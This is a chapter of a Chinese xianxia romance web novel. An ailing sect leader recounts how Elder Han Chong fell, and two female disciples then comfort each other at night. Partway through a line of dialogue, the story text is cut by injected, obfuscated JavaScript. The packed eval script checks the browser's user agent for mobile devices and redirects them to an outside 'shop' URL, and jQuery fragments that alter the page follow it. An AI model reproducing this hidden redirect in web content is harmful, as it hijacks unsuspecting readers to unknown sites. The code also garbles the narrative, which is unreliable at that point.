”坐下吧,“他指了指床边的椅子。
”韩崇跟了我三百多年…”,无尘真人的声音很慢,像一条流了太久的老河,河道里沉积了太多东西,水速已经快不起来了。
“我还记得刚认识他的时候,他还不是长老。那时候我也不是掌门,只是昆灵宗一个不太成器的内门弟子。他比我小四十岁,天赋一般,但他极其刻苦,别人练一个时辰,他练三个时辰。他说勤能补拙,受伤的也不肯停下…旁人笑他愚钝,他不恼,只是笑一笑,继续练。”
秦凤兮只是静静地听着。她从未听师父说起过这些。在她的记忆中,师父一直是那个温和从容、运筹帷幄的掌门真人,他的过去像一幅被岁月洗得发白的画,只剩下模糊的轮廓,没有细节。
“后来我当了掌门,他成了长老。我对他说,『韩师弟,宗门的刑律交给你了,你是最合适的人选,因为你比任何人都知道什么是公平。』他很高兴,那天他笑得像个孩子。他说,『师兄放心,我不会让任何人受不白之冤。』”
无尘真人停了一下。秦凤兮看到他的喉结动了动,像是在吞咽什么苦涩的东西。
“这三百多年,他雷厉风行,一条冤案都没有判过。宗门上下,人人都说韩长老铁面无私,是昆灵宗的脊梁。”
月瑶低着头,手指无意识地攥紧了衣角。她想起冰狱里那些锁灵链的冰冷触感,想起韩崇站在牢房门口看她时那种漠然的、像看一件物品的眼神。她很难把那个眼神和掌门口中「铁面无私」的韩长老联系在一起。
“他是…什么时候变的?”秦凤兮问。
无尘真人沉默了很久。
“也许是……二十年前,”他说,“二十年前是我第一次察觉,或者更早。我也不知道。我以为他还是那个韩师弟,但他已经不是了。或者说——他从来都是,只是有些东西被埋得太深,不说旁人,连他自己都没有发现。”
他转头看向窗外。雪停了,天边露出一线极淡的蓝色,像是有人在灰白色的画布上轻轻抹了一笔。
“韩崇,他曾经喜欢过一个人。”
秦凤兮微微一怔。
“那人是个外门弟子,资质普通,长相普通,没有背景,没有靠山。韩崇来找过我,说想收她为徒。我同意了,我对他说,只要你觉得合适。他很高兴——那是我最后一次看到他那么高兴。”
“那后来呢?”月瑶小声问。
“后来那个姑娘死了。”无尘真人的声音忽然变得极轻,像是在说一个连他自己都不太敢触碰的秘密,“死在一次魔道袭击中。韩崇赶到的时候,她已经……走了。他抱着她的尸体坐了一整夜,第二天回来的时候,他的眼睛里就再也没有那种光了。”
秦凤兮的睫毛颤了一下。
“他说过一句话,我记了二十年。”无尘真人闭上眼睛,像是在回忆那个遥远的、已经模糊的场景,“他说,『师兄,如果我当时能够再强一些,如果我能早到半柱香的时间……她就不会死。』”
此刻的寝殿里…安静得能听到长明灯燃烧的声音。
“从那天起,他开始追求力量。不惜一切代价的力量。也可以说是变得不择手段。他开始接触一些……不该接触的东西。宗门外的势力,禁术,毒方——我睁一只眼闭一只眼,因为我相信他,我相信韩师弟不会走太远。我坚信他心里那根线,不会断。”
无尘真人睁开眼睛,看向秦凤兮。那双苍老的眼睛里,有秦凤兮从未见过的东西——不是悲伤,不是愤怒,那是一种更深层的、近乎绝望的自责。
“我坚持信了他三百多年,”无尘真人说,“最终却是害了他。”
月瑶不知道自己是什么时候开始哭的。
冰凉的泪珠无声地顺着脸颊淌下来,顺着下巴滴在秦凤兮的外袍上,一滴一滴,晕开小小的深色圆点。她不是为韩崇哭——她不知道自己该不该为一个把她锁在冰狱里用刑的人哭。她哭的是掌门说「我信了他三百多年」时的声音,那种把信任揉碎了吞下去的声音。
秦凤兮没有说话。她伸出手,轻轻握住了月瑶放在膝上的手。
无尘真人看到了这个动作。他看了看秦凤兮的手,又看了看月瑶红着眼眶强忍眼泪的模样,嘴角弯了一下——那笑容里没有了方才的自嘲和悲悯,只剩下一个长辈看着晚辈时才会有的、柔软的东西。
“凤兮。”
“师父。”
“你很小的时候,师父跟你说过一句话,你还记得吗?”
秦凤兮沉默了一瞬。“……师父说过很多话。”她的声音干涩。
“我说,修道之人最怕的不是天劫,不是魔道,不是寿元耗尽,”无尘真人看着她,目光温和得像冬日午后的阳光,但底下藏着某种更深的、更沈甸甸的东西,“是后悔。”
秦凤兮的手指微微一紧——她正握着月瑶的手。
“韩崇后悔了多年,”无尘真人说,“而我后悔把他变成了一个不是他自己的人。你不要后悔。”
这句话说得很轻,很淡,像是随口一提。但秦凤兮听懂了。
师父在说:「你已经找到了值得你守护的人,那就去守护。不要像师父或者韩崇那样,等到失去了才追悔莫及。」
她没有回答。但她把月瑶的手握得更紧了一些。
无尘真人说累了。
秦凤兮扶他躺下,把被子掖好,动作轻柔得像在照顾一个孩子。月瑶站在床尾,把掌门床头那盏快要熄灭的长明灯重新添了油,火苗重新旺盛起来,照亮了无尘真人布满皱纹的脸。
“师父。”秦凤兮在床边站了一会儿,忽然开口。
“嗯。”
“韩长老的后事……您想怎么办?”
无尘真人闭着眼睛,沉默了很长时间。久到秦凤兮以为他已经睡着了。
“按长老之礼葬了吧。”他终于说,声音像一片落叶,轻得几乎没有重量,“他毕竟……跟了我三百多年…“
秦凤兮点点头,转身要走。
”凤兮。“
她停下脚步。
无尘真人没有睁眼,嘴唇微微动了动,吐出几个字:”韩崇的事…别怪自己。“
秦凤兮站在门口,逆着光,月瑶看不清她的表情。只看到她站了很久,然后轻轻「嗯」了一声,迈步走了出去。
那天夜里,月瑶在寝殿门口的台阶上找到了秦凤兮。
她没有坐在那里——她躺在石阶上,白衣铺展开来,像一朵开在冰雪中的白花。长发散落在地上,玉冠放在一旁,月光照在她脸上,将她的轮廓勾勒得格外清晰,也格外孤独。
莹莹蜷在她胸口,粉色的小身体随着她的呼吸轻轻起伏,月瑶没有出声。她脱了鞋,赤脚踩在冰凉的石板上,走到秦凤兮身边,然后轻轻地、小心地,在她旁边躺了下来。
石阶很硬,很冷,但月瑶没有在意,两个身影就这样并排躺着,看着头顶的星空。昆灵宗的夜空中星子密得像打翻了一盘碎银,银河从天顶倾泻而下,像一条发光的河流,流向看不见的远方。
”凤兮师姐。“
”怎么了?“
”你难过吗?“
沉默。风从雪山那边吹过来,带着松针和冰霜的气息。
”……我也不知道。“秦凤兮说,声音很轻很轻,像是从很深很深的地方浮上来的,”他害了你,他甚至毒害了师父,他背叛了宗门。我应该很恨他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590594|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“
她停了一下。
”但我想到师父说的那个人——那个死在外门弟子。想到韩长老抱着她坐了一整夜。想到他后悔了这么多年…“
她的手慢慢抬起来,遮住了自己的眼睛。月光照在她手背上,照出那几道还没完全消退的丹火灼伤。
”我不恨他,“秦凤兮说,声音里有一丝极细微的裂痕,”恨不起来,我只是觉得……很可惜。“
月瑶转头看她。秦凤兮的手遮住了大半张脸,只露出线条分明的下巴和微微颤动的睫毛。
月瑶伸出手,轻轻拉下她遮住眼睛的手,十指扣进她的指缝里。
”掌门说了,别怪自己。“月瑶说,”我帮他补一句。“
”什么?“
”韩长老走的路,是他自己选的。不是你的错,不是你师父的错,是他自己的选择。“
“而且,掌门在自己的能力范围内给了韩长老最好的。”
秦凤兮没有说话。但月瑶感觉到她的手在轻轻颤抖——不是冷,是那种已经压抑许久,终于快要绷不住的颤抖。
月瑶翻身侧躺,面对着秦凤兮,用另一只手轻轻拍了拍她的肩膀,像在哄一个做噩梦的孩子。
“凤兮师姐,我师父——我是说,给我桐木琴的那个人——她曾经告诉我,人这辈子最难的不是原谅别人,是放过自己。”
秦凤兮终于转过头来看她。月光落在她浅色的瞳孔里,将那双平时清冷如冰的眼睛染上了一层柔和的银白色。她没有哭,但眼底有一种比眼泪更让人心疼的东西——像是迷路了很久的孩子,终于看到了一盏灯。
“你那个师父,”秦凤兮说,声音有点哑,“说的话倒是和你一样多。”
月瑶笑了:“那当然,不然怎么是我师父。”
她伸出手,把秦凤兮额前一缕散落的碎发拨到耳后,动作自然而随意,像是在做一件做过一千遍的事。
“凤兮师姐,我有点想我师父了。”
秦凤兮眼眶发酸…
“以后你难过了,不要一个人躺石阶。叫我一起。”
秦凤兮看着她,看了很久。
“……这石阶很冷。”
“妳不是也在躺吗?”
“我不怕冷。”
“有妳在,我也不怕。”月瑶突然笑嘻嘻地说,“我有凤兮师姐的外袍,可暖和了。”
秦凤兮终于弯了一下嘴角。那笑容很浅很浅,像是冰面上开出的第一朵花,随时都可能被风吹散,但月瑶看到了,她永远会看到。
莹莹从秦凤兮胸口爬起来,打了个呵欠,看了看左边的秦凤兮,又看了看右边的月瑶,然后做了一个决定。
牠迈着小碎步走到两个人中间,一屁股坐下来,粉色的尾巴左右甩了甩,同时搭在了两个人的手背上。
秦凤兮微微一愣,“莹莹?”
月瑶也顿住了,“牠这是在干嘛?”
秦凤兮沉默了一瞬“……莹莹大概是想告诉我们,牠也在。”
月瑶忍不住笑出声来,笑声在安静的夜空中传得很远很远。她伸手把莹莹捞过来,放在自己肚子上,小狐狸立刻缩成一个粉色的毛球,发出心满意足的呼噜声。
“小叛徒,“秦凤兮说,但语气里没有丝毫责备的意思,”上次就说过了。“
”那是因为你没撒过娇,“月瑶理直气壮,”莹莹是公平的,谁撒娇牠跟谁。“
秦凤兮看了她一眼,”你这是在说你自己,对莹莹撒娇了?”
月瑶眨了眨眼,“我才没有撒娇,我这是……正常的交流。”
“正常的交流需要拉手、靠肩、亲脸颊?”秦凤兮故意凑近。
月瑶抱紧了莹莹,有些心虚,“那是我在表达关心。”
“表达关心需要每天三次?”
“凤兮师姐,你记性真好。”
秦凤兮闭上了嘴。
月瑶笑得更欢了,笑得肚子上的莹莹都被颠醒了,小狐狸不满地“啾!”了一声,换了个姿势继续睡。
两个人就这样躺在石阶上,看着星星,有一搭没一搭地说话,直到月瑶的呼吸渐渐变得均匀而绵长,不知不觉睡着了。
秦凤兮没有睡,她侧过头,看着月瑶的睡颜。月光落在她脸上,照出那些还未消退的鞭痕,锁灵链留下的伤痕,以及嘴角那颗小小的痣。
她伸出手,极轻极轻地碰了碰月瑶脸颊上的伤。
”月瑶……对不起。“她又重复了一遍,声音小得只有她自己能听见。
但这一次,她没有哭,风从雪山那边吹过来,吹动她的长发和衣袍。远处的雪峰在月光下泛着银蓝色的光,像一柄横亘在天际的巨剑,秦凤兮收回手,闭上眼睛。
她想到师父说的那句话——「修道之人最怕的不是天劫,不是魔道,不是寿元耗尽,是后悔。」
她不会后悔。她不会像韩崇那样,等到失去了才明白什么是重要的。
她已经知道了,从那个黄昏,她弹完《凤求凰》,转头看到月瑶琥珀色的眼睛里倒映着晚霞的那一刻起——她就已经知道了。
秦凤兮睁开眼睛,轻轻地把月瑶落在脸颊上的一缕头发拨开。
”月瑶。“
没有回应。睡得很沈。
秦凤兮弯了一下嘴角,把声音压到最低最低,低到连风都偷不走。
“只有你笑起来的时候,才能让我觉得这个世界还没有那么糟。”
夜风裹走了这句话,把它吹散在漫天的星光里。
但莹莹听见了。小狐狸从月瑶肚子上抬起头,粉色的眼睛在黑暗中闪了闪,然后又把脑袋埋了回去,尾巴轻轻摇了摇。